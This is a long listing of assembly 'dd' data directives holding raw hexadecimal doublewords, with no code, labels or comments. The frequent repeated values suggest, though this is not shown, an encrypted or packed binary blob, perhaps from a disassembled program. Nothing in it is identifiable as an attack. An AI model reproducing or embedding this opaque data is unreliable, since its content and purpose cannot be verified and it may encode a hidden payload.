		dd 0E97A7811h, 995A40E7h, 0A991AFC1h, 781556A1h, 6FC99808h
		dd 0F26CE0Eh, 0F7D0B0F0h, 3E69BB45h, 62D841D6h,	7592D33Dh
		dd 0CE1DC9AFh, 0EF228AF5h, 9E7CD770h, 750B7E99h, 0D82556DDh
		dd 0EE82971Ch, 0FA61D46Dh, 9D73A9FDh, 0A3073855h, 13CED620h
		dd 8B15557Bh, 780EE4AAh, 780F7FDDh, 5AF556DDh, 76E199F2h
		dd 965B2CD3h, 77C74C36h, 780EA95Fh, 7F8EE5DDh, 8B1556DDh
		dd 78155528h, 39155DDh,	678BAE0Ah, 0EEDE4630h, 0CEAECF62h
		dd 78155776h, 0C38426A1h, 775BD217h, 0EADBB247h, 0D826E451h
		dd 438B66DFh, 97F3A345h, 764D790h, 0F6A0A7B2h, 0B7AA173Dh
		dd 0ED64D518h, 0F653157Ah, 7EE521B6h, 7C111F8Bh, 94BD948Bh
		dd 0C4587F52h, 0B850A6E7h, 0CE67C02h, 1F854F31h, 0FA0A440Fh
		dd 781554E0h, 780ED2F5h, 2EA937DDh, 7839B404h, 0D7B8906Eh
		dd 3CD465A3h, 47919CBDh, 3D6D3C64h, 0EB760528h,	0C6935B2h
		dd 671556DEh, 5DE165EEh, 0C8A6F6A0h, 6B1BE836h,	78572108h
		dd 767B360Eh, 2FB76BE5h, 0DEFF53B0h, 41EDDA03h,	9966B88Bh
		dd 0A2016370h, 0B30E6948h, 0AC91DA83h, 2FCB56DBh, 1A00471Ch
		dd 1A005BE4h, 0EA1C0CE7h, 0FA237169h, 185A302Ch, 7A8516E4h
		dd 0FE033EF7h, 8900475Ch, 1A004757h, 532D239h, 0FA2E058Bh
		dd 1C0F668Ah, 0B5DAC816h, 1A0056DBh, 0A3E04EE7h, 1A004E61h
		dd 29B6CDE7h, 29034040h, 0F9F96AA8h, 0A4FA701Eh, 0A219486Fh
		dd 8791B24Ch, 1A01B26Ah, 7907BF07h, 9E1C8D83h, 9E1C906Bh
		dd 1A004705h, 0A407F727h, 98ABA9F1h, 104780DDh,	0F0D846D9h
		dd 0B5825A1Eh, 27004EE6h, 0F1DDC2AFh, 13FF4D1Eh, 0F100E2D9h
		dd 8B55CE1Eh, 0A002DEFh, 0A76C59E8h, 5C14493Eh,	1122B4F0h
		dd 63E02F1Eh, 61682D04h, 0A24D1F0Ah, 0BA7B5224h, 5D45F759h
		dd 0D84C867Dh, 0BF01DF9Fh, 0B1AC66B4h, 0B478C1A5h, 0F299652Ch
		dd 2AD3928Eh, 1525304Ch, 0E533BCC5h, 79FA307Ch,	1D298B68h
		dd 5E430ABEh, 17BD4C2Bh, 22F93B97h, 0F08F15E3h,	0FFDB09F0h
		dd 12682D04h, 0A36CC202h, 1DA94653h, 6CFC06CAh,	4B3CF71Bh
		dd 859AC142h, 7A794867h, 0A584B1CAh, 1A11C7CAh,	0DE400B91h
		dd 0DBFE2D55h, 0F633D88Bh, 646AC283h, 409BCC77h, 1D61AC42h
		dd 55D9ABABh, 0F74A50AAh, 25402CAEh, 4AB8931Ah,	3FBAED85h
		dd 0D7AB18C2h, 0F524F149h, 900F6373h, 0D71D1107h, 0B7051040h
		dd 0E5930D1Bh, 20A8066h, 0B5BF9ED9h, 0B705072Ah, 950E8041h
		dd 4B729A11h, 17138F60h, 63349D1Eh, 2B121993h, 1CA78F8Dh
		dd 0A22DAE3h, 0B8E39892h, 0A4A6E4h, 0A5BA311Ah,	9D553F37h
		dd 0AAAD50B5h, 80C09FBDh, 88F6DD9Dh, 756E1F01h,	0EE0117F4h
		dd 0D1DC08B1h, 0DED08FB1h, 51CCE177h, 3D70FF82h, 4CBD042Ch
		dd 583904A0h, 878F8F6Ah, 5A6E49FFh, 0FC33648Ah,	29391C8h
		dd 4DBE08FDh, 0BB8042D4h, 1DF340AAh, 0A48BC6AAh, 0C10C2579h
		dd 32524281h, 0BC279830h, 0C1F1B3A5h, 6A875340h, 1E793724h
		dd 3CDE6C9Ch, 7773D815h, 0E92A7428h, 0EB6B2700h, 0C056B516h
		dd 17F845FDh, 0C7962394h, 82349D8Fh, 7EDAE5D8h,	0E9E6239Dh
		dd 192D1196h, 9B349D85h, 9BA40A12h, 0D0BB09DEh,	5F3A0B52h
		dd 0A07195BBh, 8EB5C8F6h, 0A3361FFBh, 0E20EAED6h, 0F243EBEh
		dd 2785DECh, 0BF787Fh, 0D8349DBCh, 8F73F098h, 38FB72BDh
		dd 40977AD0h, 0CE4599ACh, 0ADDDD0BCh, 0A2CED244h, 7776A015h
		dd 0AB00A88Fh, 4DBC8FE9h, 9DFA805Ah, 21433037h,	1C8F8DA6h
		dd 6B5C589Fh, 2E092B12h, 85D82B11h, 5965FFB7h, 0ED41AFB1h
		dd 6A348EF0h, 18E3D36h,	0B3FBDD19h, 1CA5FE6Bh, 9C4AA9E3h
		dd 9E8AE2B5h, 260C2EF7h, 9B84B196h, 0E96FA10Ah,	83EB5FCEh
		dd 29E2DBFDh, 928B90E5h, 0B50D8251h, 0C3DCC3BAh, 5BE7A4DEh
		dd 0DCEA9055h, 0DB29A54Bh, 0B8BDD7A0h, 82D17563h, 1B2378D8h
		dd 0E46832B7h, 0B3AF2B55h, 5FAD80ADh, 0CD0143CDh, 0A20C27AFh
		dd 0FCECBBB2h, 1EDD0C31h, 32411416h, 0B6C89D2Dh, 0C4D2DA5Dh
		dd 56A0ED9Ch, 0BBB95B5Eh, 14788442h, 505373A7h,	17132FC7h
		dd 0ED4136ECh, 0DEC579F0h, 9B4A9055h, 0D6ADEE91h, 0AD209875h
		dd 0B3AFC64Ch, 542BCDA5h, 1441FA17h, 9ED02F1Eh,	928735B2h
		dd 0AB16DF56h, 0D73D8FE9h, 0AE089862h, 0AF5D078Ch, 6F0DCDFDh
		dd 0CF5A3037h, 379F9B3Dh, 0D863DD18h, 1CA7B592h, 2C52B1E3h
		dd 26C293B8h, 0B3FB811Bh, 2D9BD7B4h, 1EA6BE3Ah,	0B962573Ah
		dd 191CF9ACh, 14FC72AFh, 0A019E688h, 0ECA400D7h, 0C16D84E6h
		dd 37302AE5h, 0EDC9DD18h, 32FA31C8h, 9EA8DD18h,	2EB6186Dh
		dd 93DEA25h, 11F6AEFDh,	0B0C8811Fh, 0AFF332C9h,	17FA573Ah
		dd 9ED52F1Eh, 0D22EDB26h, 84CAD24Bh, 0C2B07AA7h, 4F2B4A39h
		dd 0F1229590h, 853C6503h, 0F6C4DDC5h, 4952E590h, 0DBFEBD86h
		dd 7F33862Ch, 59E30E67h, 462DBFF9h, 4501ED98h, 0AD5631A1h
		dd 910AA32Dh, 0C4BEB989h, 74F72803h, 0CBAD6431h, 917851C7h
		dd 0A0DC3B04h, 0B44237DCh, 80DC2FF0h, 0DDDA52C9h, 1456629Dh
		dd 52942F1Eh, 17132FFCh, 0D02E907Dh, 212E887Ch,	0E2D0B5Fh
		dd 0E81EAF72h, 0BC16131Dh, 30489E03h, 0E45EB0C0h, 0B508AC5h
		dd 7283C4F6h, 516D952Ch, 0FCC452FCh, 7E132F1Dh,	795D6020h
		dd 51939BF4h, 17132FFCh, 5E2EF215h, 79567867h, 7C809BE4h
		dd 13E5380Eh, 0FE132F1Eh, 17133B2Eh, 0B8265E1Eh, 8D11B6B4h
		dd 0E3E1203h, 4AD95B9Ch, 1C32FDB1h, 0FCFDA90Bh,	0F014E7FDh
		dd 0C20E3A3Eh, 0EAAF56EBh, 0CCE29A64h, 0D0DF0AB1h, 0C44A977Bh
		dd 3286DB8Dh, 2D38A61Fh, 0CB9135CDh, 104DE321h,	24FF6E73h
		dd 0AE1C26E2h, 63B831ECh, 0DEFCC634h, 53C8A539h, 0F19C65EEh
		dd 8885B88Fh, 0ADBB33DFh, 65866675h, 6E89CFE8h,	61DEFF81h
		dd 0EAFF961Ch, 1E6912B6h
		dd 4667D723h, 17403731h, 30BA7D36h, 21717951h, 5E4B24ACh
		dd 63DF8219h, 5F132F1Dh, 17132FFAh, 9CB07141h, 43CEE8DFh
		dd 69EBE1B2h, 935F419Dh, 7970BC90h, 6B891F40h, 1CF4599Dh
		dd 141DB691h, 8CA12F1Eh, 68B7C3A0h, 6AB26FD8h, 0E9AA6E00h
		dd 6D7F22Fh, 6202FC91h,	6374B26Fh, 62DC76FBh, 6627A12Bh
		dd 8342449Dh, 86BBBD1Eh, 0C132F1Dh, 185B985Ah, 0F191D922h
		dd 666FDADFh, 89218A9Dh, 0C019CFE1h, 29701E0Bh,	91886EA0h
		dd 0CCF6AB06h, 17FA8105h, 147BB31Eh, 0D0EAD38h,	0D741682Fh
		dd 0CEE6E246h, 31F6DBBEh, 93BDDB90h, 0C1F5D918h, 13E0E8BDh
		dd 0F2132F1Eh, 1713DF05h, 0AFAD8A1Eh, 8FE4E690h, 8FBCD2DBh
		dd 6FE76E23h, 0DFB6FACBh, 3A65F099h, 0AA1444AFh, 17133905h
		dd 0AE37CB1Eh, 0EB4BCFF0h, 17132F11h, 1FD6DDC1h, 16835A44h
		dd 17FADD94h, 145CBC1Eh, 52502F1Eh, 13130264h, 3B1F71BCh
		dd 24F572FCh, 51790h, 0D73443Ch, 1713E97Bh, 635ACF1Eh
		dd 17138305h, 6C95D1Eh,	1C3062ABh, 7B5F9786h, 6E7CEA4h
		dd 79734B0Dh, 0F29AE63Ah, 71E991FBh, 0EB45196Ah, 17132FE5h
		dd 30A2C71Fh, 25E70C0Fh, 4A8E02C6h, 0DEBF0694h,	0D6E3315Eh
		dd 7D91E88Fh, 5E132F1Dh, 861EAE88h, 0D4005CDh, 2C719FADh
		dd 667FAF52h, 17137D05h, 0C56C981Eh, 0E7951BBFh, 6135C712h
		dd 8CFEE278h, 5F05D780h, 17132FEFh, 85D3D1B7h, 4479385Bh
		dd 0EBB696D5h, 17132FFEh, 70B3E3C2h, 96063CAh, 96A39ACCh
		dd 67CA6783h, 0AF7546C7h, 7D92E977h, 0CD132F1Dh, 17133957h
		dd 0F8A4411Eh, 0D24C854h, 1713A371h, 3BCA261Eh,	19EAAE88h
		dd 742C722Fh, 0EB24FC8Eh, 17132F11h, 220612A7h,	5ECE90C7h
		dd 82BC897Ah, 0CD132F1Dh, 0CA2E986Dh, 0C38152D0h, 65943269h
		dd 664B72ACh, 0E5A75E2Bh, 145CB7DCh, 0D8BC2F1Eh, 0AD51A592h
		dd 1687E5F2h, 1713A36Fh, 3CCA261Eh, 1475B68Ah, 0FB3B2F1Eh
		dd 0F0EC8767h, 8EAFD380h, 9C093819h, 0EB6BDB2Ch, 17132FE3h
		dd 21CF2D1h, 6E79D669h,	0E55AD1EEh, 4FF65DF6h, 5902AEA8h
		dd 0EB2F60B2h, 17132FE4h, 0F08E4460h, 5E759F05h, 352B1150h
		dd 0BC86607Ch, 82BB9E3Ah, 53132F1Dh, 7C0C1A90h,	3701F18h
		dd 4C90F607h, 0C7F6DB75h, 97D0B466h, 0E3A765B6h, 66410AF0h
		dd 72821C9Dh, 42E8636Fh, 66545A5Fh, 5BB82A95h, 17132FE2h
		dd 7A092A6Ah, 0E2CA41DBh, 511DA702h, 41A4DC6Fh,	19E83880h
		dd 17FA816Ah, 0A19CF1Eh, 17132FF1h, 0DB05E496h,	0BD85CE83h
		dd 0EB6F8D31h, 17132FB6h, 3F21846Eh, 0E2D7EED8h, 0E7C91E31h
		dd 743DE69Dh, 5C739709h, 17132FFBh, 3BC19A58h, 8E3A464Ch
		dd 3C1C1E8Fh, 248742F1h, 0ACCDAEBEh, 725DDB80h,	0B9013803h
		dd 0C00893C8h, 4AC1D27Ah, 0BB574128h, 1893E8A2h, 0CE132F1Eh
		dd 4C8B416Fh, 171514FBh, 0C0FA2F1Eh, 3A65D1E6h,	8C22983h
		dd 28132F1Eh, 55BC28A7h, 0D570BF6Ch, 494CCE8Fh,	60DDAEBEh
		dd 0DB4083Dh, 17133B93h, 86DF261Eh, 27132F1Dh, 84F1CCBEh
		dd 145FB688h, 7F2F1Eh, 6C399FC5h, 53C22B06h, 4C808BFCh
		dd 38010043h, 8023808h,	0EB519524h, 17132FE5h, 0CB4B423Bh
		dd 9C55B4FEh, 0E141D7DBh, 730CD098h, 15DE067Ch,	17130D7Ch
		dd 19BC2C1Eh, 0CA132F1Eh, 13AEED9Bh, 0B1474E9h,	0EFBA8C00h
		dd 0C5281218h, 7FFADCDCh, 17132FEDh, 1713830Fh,	1790091Eh
		dd 912176A2h, 717A8415h, 3CE9D92Dh, 63B2DC6Ah, 1443B4F9h
		dd 43292F1Eh, 7C77CBCDh, 0EE877A6Bh, 0BB1148ABh, 8BC9FB9h
		dd 22132F1Eh, 63E770A7h, 6BEBCBBh, 14E28259h, 0FD132F1Eh
		dd 89E1823Bh, 14425EE4h, 0F1BC2F1Eh, 74132F1Dh,	0E9A0D22Ah
		dd 0C1658FA1h, 3709756h, 0D2F6D23Fh, 94714479h,	43E075F7h
		dd 20D1B9ADh, 19EAFC8Fh, 1713A29Eh, 0F6CA261Eh,	8793E8BDh
		dd 10132F1Dh, 17133C7Bh, 17FABC1Eh, 25782F1Eh, 0F487FB24h
		dd 4A2234D1h, 0F2C7819Dh, 0C999CEA3h, 1713EC05h, 848A9E1Eh
		dd 0B4F9C441h, 0CCEAF975h, 87BA03EEh, 55132F1Dh, 0EB5BDD13h
		dd 0D5D1EEF9h, 3708842h, 0FE13BE57h, 0D7B4EEF8h, 0C01864A2h
		dd 0C999C555h, 1700B9FBh, 19BB2F1Eh, 6F132F1Eh,	405EB8B6h
		dd 12385782h, 0E108ED8Fh, 37FC0B1Bh, 15BC89C5h,	5C132F1Eh
		dd 974204D7h, 0CF5D037Fh, 200D202Ah, 5C663BF6h,	17132FFAh
		dd 0AADD894Dh, 7289909Ah, 5393C3E1h, 0B24FBD6Dh, 31E2EC75h
		dd 10CFFCBEh, 82BC26ADh, 29132F1Dh, 0BE31C2E6h,	0AF01BA46h
		dd 0ED76FBh, 9FAA0834h,	0D62469Ch, 5394A055h, 87B0B038h
		dd 1712B6BDh, 0E7562F1Eh, 586B5247h, 5ED91610h,	62EB76FBh
		dd 4080B39Dh, 38FAE76Fh, 0E085D23Ah, 6B5DB6F1h,	0A65E76Fh
		dd 5793BD0Bh, 0CD73BC6Ah, 13C6DB87h, 682903EDh,	17132FE5h
		dd 32714339h, 9FD4EDC1h, 0F694DBD2h, 214B197Fh,	0D8EAFCBEh
		dd 94014E6Eh, 17132F12h, 38FAD639h, 117A8227h, 0D8132F1Eh
		dd 0D66CE8Fh, 7971A8ADh, 0A1933020h, 17077EF6h,	78512F1Eh
		dd 0B0FD02C6h, 93E17AD9h, 92D33166h, 5E071873h,	6673E7A2h
		dd 61CB2B26h, 66741D6Fh, 66273AAAh, 0D516A39Dh,	145A01FAh
		dd 9BFA2F1Eh, 17132F12h, 36FCEBEh, 82C03123h, 3BE4D9FBh
		dd 21812CE5h, 4989CE90h, 24D2AF77h, 0DA5A5224h,	6EFF92Ah
		dd 11A8CEF5h, 17DBE88Ch, 0F3132F1Eh, 0CE07FCB3h, 7D7AE8A4h
		dd 0CD132F1Dh, 1719B689h, 0EA942F1Eh, 0BFE61F71h, 0C9300820h
		dd 0ABB5F8DCh, 620876FBh, 68F5146Fh, 9A2A74AAh,	7CD8FCBBh
		dd 7985CF03h, 2E7AD83Bh, 145FA27Fh, 4EC92F1Eh, 0E3F6A1FBh
		dd 0A5BF07AEh, 79717F61h, 0FCC6C623h, 5C41F2A9h, 17133000h
		dd 0D40D0982h, 7D14772Ah, 0D71E369Dh, 0C56739CBh, 944C834Dh
		dd 0F2C908h, 10C2BD3Dh,	31132F1Eh, 1DDD1F40h, 0B3885FB2h
		dd 0ADA7AD86h, 6662ADCDh, 54DF599Dh, 0F2DDAE88h, 0F2136C20h
		dd 58BAAEB3h, 90A7DBD5h, 1411805Fh, 63C42F1Eh, 89E30D4Ch
		dd 14F6E977h, 0D6132F1Eh, 681CFCBDh, 17132FFAh,	8BA41966h
		dd 750D696Dh, 0D65EEC5h, 17133A6Fh, 621D3D1Eh, 9EA6466Fh
		dd 56AB8C6Fh, 0D4553D1h, 1713DF94h, 878E261Eh, 10132F1Dh
		dd 17133C70h, 49EF941Eh, 97FBA67Ah, 8BC833Ah, 0AE132F1Eh
		dd 160A4E5Eh, 0EB517110h, 17132FB8h, 1A161AB0h,	434950CFh
		dd 7314B51Fh, 71812109h, 17FA8158h, 9CDC001Eh, 0B1436F40h
		dd 16CCE7A1h, 0A5ED1551h, 0E2580579h, 29BA329Ch, 0DFD7EC3Dh
		dd 0C159329Ch, 44A94D33h, 2AD9DCDCh, 3CCF0719h,	0E255B37Ah
		dd 0CEB7329Ch, 424AC3B1h, 0DFA6BA0Ah, 96D329Ch,	54792DD5h
		dd 3493EA0Fh, 0B69A9A3Ah, 0E259337Ah, 7B0B15E4h, 3A8D8D50h
		dd 4D0F6BB8h, 6659329Ch, 0E89E6F8Dh, 0A3271888h, 4C1DEC3Dh
		dd 2A59329Ch, 0E259337Fh, 7E093B13h, 51A987A9h,	0B3CC0AA3h
		dd 2285B7F9h, 365392A7h, 7D5DE49h, 8C3CDF54h, 0DFBCB17Ah
		dd 4D02329Ch, 359329Ch,	9ABFA12h, 0C74ABDFEh, 0E240E384h
		dd 2183039Ch, 2B59F5BCh, 0EDC7D5F4h, 52357090h,	34036F4h
		dd 0DFA583A5h, 0B86D329Ch, 16BA6F8Eh, 28F75FFh,	0C2D67E8h
		dd 0E25ABD7Ah, 0A132329Ch, 0D1AFEB3Ch, 6B43511Ch, 0FB28C80Fh
		dd 0EB58FC3Ch, 0CE5F8ADFh, 0E259337Fh, 0E240998Dh, 4550D49Ch
		dd 1DC7A33Ah, 30CD4DBAh, 0D301DD0Fh, 5659329Ch,	6B724E51h
		dd 9E6B5EAAh, 44CBD23Dh, 8FC0DBB9h, 10D9DD64h, 0CECBB284h
		dd 31FF11A4h, 0C0F6A51Ch
		dd 0BBB9150Fh, 51FDD205h, 2759329Ch, 714EFA6Bh,	6ADE16E7h
		dd 0DF84A50Ch, 1A5C329Ch, 1D6A5144h, 5C0B0556h,	184E7AF0h
		dd 0CCCCE213h, 0DF84A50Eh, 2D39329Ch, 513B1A86h, 0A7446723h
		dd 966170D9h, 0A08AEBCDh, 0A6ACC948h, 0E2592BD6h, 0F8F6F89Ch
		dd 71C4C636h, 0A45A3909h, 0C8761F86h, 0D302BD34h, 0A659329Ch
		dd 0E511A763h, 0AAD8FD55h, 0DF566279h, 7DA329Ch, 5ACCC650h
		dd 63F10816h, 317D94BCh, 0E402B7EEh, 5959329Ch,	0B095FD0Fh
		dd 9F7D30Ch, 4E811473h,	0D1F28BF6h, 0B8010917h,	0D159329Ch
		dd 0C86B379Ch, 3DC9A394h, 0DB02CAADh, 1059329Ch, 8FA4989Dh
		dd 0C0306C01h, 0AA62157Fh, 24F5B05Fh, 0E259337Fh, 8F5C5515h
		dd 99D45DA7h, 0F382A94Ch, 0B553FC1Eh, 0E2593DD7h, 0FCF9E79Ch
		dd 0DDED57AAh, 1492EBEEh, 64AB23Dh, 30D9DCC4h, 25DA8A5Ch
		dd 2A97581Ch, 0B83CDE40h, 0E259868Dh, 0BE46AD9Ch, 0B5A86F5Ch
		dd 14D13DD7h, 0DFA182CAh, 0EDB0329Ch, 0F386AA15h, 0E1C94A8Ah
		dd 0E259BBEDh, 40BDC9Ch, 0B802CA00h, 1859329Ch,	2786B957h
		dd 253B2D4Fh, 0E259E184h, 88592A9Ch, 52B7190Bh,	0C54C918Bh
		dd 0F044B7E0h, 1BEF5542h, 520220EEh, 759329Ch, 0B2D09D7Bh
		dd 0E24D83D4h, 0C75C329Ch, 0BA703447h, 0DC352CE1h, 0A2EB2297h
		dd 30513A90h, 0CEB69AB2h, 0EC637EAFh, 1FF2D73Ch, 1CFCFC05h
		dd 0E1C4C9BFh, 5CB0ADD3h, 2A2DCBADh, 0E2593368h, 0C99D030Dh
		dd 0E258BA98h, 0D3C8329Ch, 640F8D59h, 0A9DADF3Ch, 24CA8A76h
		dd 0E2593368h, 0B019C9E4h, 0C940D278h, 0E259336Fh, 0CEA0DFF4h
		dd 788BF2A1h, 44CBD232h, 0B6D9DC9Fh, 44B78C4Bh,	0C83719D6h
		dd 0AED9DCA2h, 44B68A73h, 2D4E1867h, 2B270FAAh,	0E2592B84h
		dd 0D8E009Ch, 0B890E98Eh, 0D9C82DE3h, 9795F8D0h, 0DC6F6B9h
		dd 8F28EC3Ch, 0B2EEDC81h, 0B7278477h, 0C9420030h, 4B54BEB1h
		dd 0DFBBA51Eh, 2407329Ch, 8FE1FB2Ch, 61ACCCh, 0E259EF84h
		dd 65150C9Ch, 201C0FF4h, 0B1177719h, 0D893062Fh, 0F7B7EBD3h
		dd 2E01200Bh, 6859329Ch, 2A812E0Dh, 27278E8Dh, 0DF1E6526h
		dd 0EF9ADBDh, 98491B2Ch, 0D14BBDCBh, 0D8945EF3h, 2F0128D3h
		dd 0A459329Ch, 173857C4h, 45DE52CDh, 86019D9Bh,	0A1B03DD8h
		dd 9848AA97h, 0E2549079h, 20D9329Ch, 0B43BDFFDh, 0CB60B812h
		dd 2F0281FEh, 6259329Ch, 67AEB9h, 65820411h, 0F3547ACCh
		dd 87DA46Ch, 0EFEF7835h, 0E2593C9Bh, 0C4139D9Ch, 1477D8CFh
		dd 0E2409884h, 0BFA3DB9Ch, 49698601h, 5EF907CDh, 0E2125077h
		dd 27C6D290h, 0E2593368h, 9433D6DCh, 0D5BAC87Fh, 51D4E877h
		dd 6040E1C4h, 0E259336Fh, 5121EC3Ch, 0DB59329Ch, 0E2593FEDh
		dd 8538B29Ch, 8D28EC3Ch, 0E25980D7h, 7079CD9Ch,	0AF4826F0h
		dd 49B45E99h, 142A9960h, 2C156B51h, 17A86414h, 0DAF2003Dh
		dd 8B5FC6A4h, 6A0DB289h, 22E23EA7h, 0DFBCBA52h,	4423329Ch
		dd 0B9DA97BDh, 6A165597h, 27A3F197h, 0E2593363h, 42CFA101h
		dd 0CEF4810Bh, 289CD682h, 0E259A784h, 4A5FF69Ch, 2F02B21Ah
		dd 0AF59329Ch, 0F8BE830Fh, 504BC8C3h, 0B57DA308h, 0D489644Bh
		dd 8C40353Ch, 0E2E08306h, 25DADF3Ch, 51006174h,	0F059329Ch
		dd 0B0B28F3Ah, 0E9AF2F37h, 0DF63BB4Dh, 7F69329Ch, 523B35A7h
		dd 269B82A6h, 467718B7h, 0F4439775h, 31B9DFF4h,	0D0F33914h
		dd 0DB1D8588h, 0B159329Ch, 0E259329Ch, 777BAA9Eh, 0CA1653C0h
		dd 44B1D86Bh, 0C95F21BDh, 0E259336Dh, 1ED7B8E5h, 3CCFEED2h
		dd 2E7A000Fh, 2942000Dh, 0A324EAF9h, 2D687A79h,	0C68C32A7h
		dd 0B6DADF3Ch, 35FDE9Eh, 0C95FDB89h, 0E259336Dh, 44B7153Ch
		dd 0B4F1D365h, 0EF985CB3h, 0A0B5C9ABh, 6FB7EB3Ch, 0AE14B209h
		dd 3FC7B71Ch, 0BE3B2A93h, 0DF560763h, 1EDA329Ch, 493960C2h
		dd 92DADF3Ch, 0B6B87D57h, 0E2593378h, 0DE37AE9Eh, 0CF0742EFh
		dd 0F1AE56A3h, 89AE2C6Ah, 0B9D2E071h, 0E240858Dh, 0E7F2069Ch
		dd 0AFF2CEA3h, 3A889A20h, 17C7A37Bh, 0BDF3F27Ah, 0E2593D8Dh
		dd 7A07B19Ch, 655D2274h, 0F7B720EEh, 0CD4024B8h, 0E2593291h
		dd 5502EAB7h, 0B259329Ch, 80DDE4F9h, 0BABF09A9h, 0EB708919h
		dd 5425852Bh, 0DB59329Ch, 604758D3h, 0E2593366h, 1497A63h
		dd 0C76B0F57h, 0F7B6DA60h, 2E02D1F6h, 0C359329Ch, 0D8626B55h
		dd 6F8E371Dh, 0E80AC28Dh, 564DC31Dh, 41288E3Ch,	0D147F27Ah
		dd 0C95F2C8Dh, 0E2593291h, 0E1B0D23Ch, 0E2593CEEh, 35F2C9Ch
		dd 6240CADCh, 0E2593291h, 0CEB73EB7h, 27913887h, 0E259334Bh
		dd 3A2FA9F7h, 91DCF879h, 2BA7321Bh, 0F57684DEh,	3F31E3E2h
		dd 4498E3DDh, 913BDC8Ah, 0C53BDD0Fh, 0E2580463h, 31BA329Ch
		dd 0D3548E1Ch, 1C2BB205h, 5FE5B61Fh, 3B29D7ACh,	0B64BB20Dh
		dd 0E24DBA0Dh, 9E6C329Ch, 36859210h, 0D0D00668h, 41B77123h
		dd 58EAD34h, 0E44CF921h, 0E259EDB0h, 0DFA6BF9Ch, 0C1FD329Ch
		dd 0EF2A9C8Ah, 0D253E7C7h, 27F9BC9Dh, 0E2593364h, 22FEEFAAh
		dd 0BB2BF992h, 5FB02AD7h, 1AF366D7h, 48D4EC0Eh,	0B159329Ch
		dd 0E259337Ah, 84176852h, 0D2434D64h, 8B408E3Eh, 0DFA183AEh
		dd 95B2329Ch, 152C686h,	0A526F5D5h, 0AEDADF0Eh,	88B7B00Eh
		dd 3FB9E719h, 0E258047Ah, 2627329Ch, 0DF26EC3Ch, 0C159329Ch
		dd 0DF9EB363h, 0CEB7329Ch, 0ECB9BA9Dh, 0E259EF9Bh, 0D1BFA49Ch
		dd 0E5647783h, 0B578AC3Eh, 5F8D5098h, 885542A1h, 0D03C2A61h
		dd 0DB59329Ch, 0E2593CFBh, 0FE58799Ch, 8B5F8A38h, 0DFA6839Dh
		dd 0E9D1329Ch, 0C0C6EA1Ah, 924F7DC4h, 3F24CCBDh, 0C26AFD1Ch
		dd 0CECA030Bh, 2EAE95BDh, 27E140EFh, 0E2593292h, 0B6C521DDh
		dd 0B05D566Dh, 8135B23Ch, 0E1A3CAC2h, 0E259BBE3h, 4C2FDC9Ch
		dd 2B683B9Bh, 6715438h,	78C206D0h, 0E259EE84h, 0D2D3159Ch
		dd 0C6787C4Ah, 839BFFBDh, 3499BFD9h, 0B650B474h, 0FA4FEAC2h
		dd 31B53B00h, 5B65AEEh,	31B9DCC3h, 89B648EEh, 0CEB7F2ACh
		dd 44E8329Dh, 0B6D9DCBAh, 0BAD85709h, 71089506h, 9D44B20Dh
		dd 2D4B6E47h, 883A291Ch, 48D98493h, 8C59329Ch, 0A69B39CDh
		dd 22D98EF8h, 35F2143h,	0D902C9BAh, 0C759329Ch,	882ACDD1h
		dd 0DF575BEEh, 0E3EE503Eh, 0C0CC38BEh, 0B83BDCA2h, 0F3D8B5E5h
		dd 94293CD9h, 27877BEFh, 0E259336Dh, 54D60ECFh,	89B9D565h
		dd 7F8355BDh, 2E50F27Ah, 1EDADF07h, 31B5D3EAh, 31F72CA7h
		dd 0BA27521Ch, 0D8664F07h, 0E2593CFAh, 8DCEFD9Ch, 5FC4AB2Dh
		dd 0E387A98Ch, 0E402350Fh, 2C59329Ch, 1E339803h, 429ACB39h
		dd 209E77CDh, 0DFEE236Ah, 0DB01D82Ch, 0A059329Ch, 650BED00h
		dd 0D7858FC4h, 668C46AEh, 3CF919F3h, 0A2A19DCh,	610CDFF7h
		dd 44B7153Fh, 262FDC9Fh, 92DADF32h, 35F8F63h, 336318E9h
		dd 0E2593330h, 63B05EC2h, 280F07DAh, 15356DE8h,	22F1DD7Ah
		dd 5CBC875h, 475FCF23h,	0E2593368h, 0BA3CDF22h,	33370009h
		dd 0E259336Dh, 94AE7054h, 4740BB73h, 0E259336Dh, 0C92EB8E5h
		dd 5F910C3Dh, 0B6A76B76h, 0E2593378h, 44876436h, 0E1055213h
		dd 8A4954FFh, 2EE5F62Fh, 7D52FD1Ch, 3332BB9Fh, 0E259337Ah
		dd 46B85FE4h, 0EC321EB4h, 0D7998451h, 317139EDh, 0ECB015EEh
		dd 9920B23Ch, 475FD996h, 0E2593366h, 0CE43F263h, 604744BFh
		dd 0E2593378h, 0E25FBA0Bh, 99AE329Ch, 2CF62FE1h, 48F269BAh
		dd 0E502213Fh, 24DAD53Eh, 44B69F5Ch, 44B7168Ah,	0D31D858Ch
		dd 0EF59329Ch, 1025A513h, 0D8918547h, 0E259BBEDh, 0B43B229Ch
		dd 0C1DADF0Bh, 2B9FC4Eh
		dd 0DFBC8214h, 0DC1329Ch, 0BDF6753Ch, 5AACFEA7h, 0C602D25Ch
		dd 0C859329Ch, 0FCA7F904h, 0B7C250A0h, 0AF65B230h, 0B110003Ah
		dd 0E2593336h, 0EB0782D3h, 5441B6Dh, 2794418Ah,	1D28EC54h
		dd 0DF57BA93h, 0F7B0329Ch, 91A73BCDh, 65A8821Ch, 0CECBBC0Bh
		dd 31A1D9A1h, 0FDAF96DEh, 27B916DFh, 0E2593330h, 0B3E48B95h
		dd 1629CFD4h, 163C89EEh, 8DD9DD6Ch, 0D8918B54h,	0E2593DB0h
		dd 2E95759Ch, 9678EB29h, 0DFC0EC2Ah, 0BA59329Ch, 0A378A1E7h
		dd 8B5E7C0Ch, 0BDB385ADh, 0DB59329Ch, 0E2593C11h, 0FE40799Ch
		dd 35F98BCh, 0FE3F3BBAh, 0B695B9BAh, 0E259336Eh, 8B67570Ah
		dd 2045BDFEh, 0DF56047Ah, 21DA329Ch, 71BA136Dh,	0E2408584h
		dd 0D22ED59Ch, 63017F4Ch, 2079DEC5h, 859789A8h,	2067A51Ch
		dd 0E0089FBDh, 3759329Ch, 419C8612h, 0E15BE7A4h, 0B08190C8h
		dd 0E9C5715Ch, 27B0DE7Ah, 0E2593330h, 67C96292h, 97F2D9h
		dd 0DCF09D21h, 0BED9DC29h, 340B3C1h, 0DE2885D4h, 0BE59329Ch
		dd 8C17B232h, 0F46D4CB8h, 3469349Fh, 0E2409984h, 19EAA59Ch
		dd 35B81EF9h, 0DE8BD904h, 0B445BA14h, 0E022EC30h, 0DB59329Ch
